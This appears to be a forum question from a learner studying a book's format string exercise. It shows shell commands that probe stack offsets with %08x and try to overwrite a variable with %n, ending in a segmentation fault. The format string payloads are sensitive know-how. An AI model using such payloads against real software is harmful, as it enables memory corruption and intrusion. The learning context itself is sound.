I am studying from "Hacking: The Art of Exploitation" and in program fmt_vuln.c format string is exploited. I am getting Segmentation Fault
error.
Checking position of AAAA
on stack:
$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The right way to print user-controlled input:
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
AAAA55756260.f7dd18c0.f7af4154.00000000.f7b523a0.ffffdfe8.ffffdb30.41414141
[*] test_val @ 0x555555755010 = -72 0xffffffb8
Witing to test_value
address
$ ./fmt_vuln $(printf "\x10\x50\x75\x55")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
The right way to print user-controlled input:
PuU%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
The wrong way to print user-controlled input:
Segmentation fault (core dumped)
As suggested in this answer I have disabled ASLR and compiled without stack protection.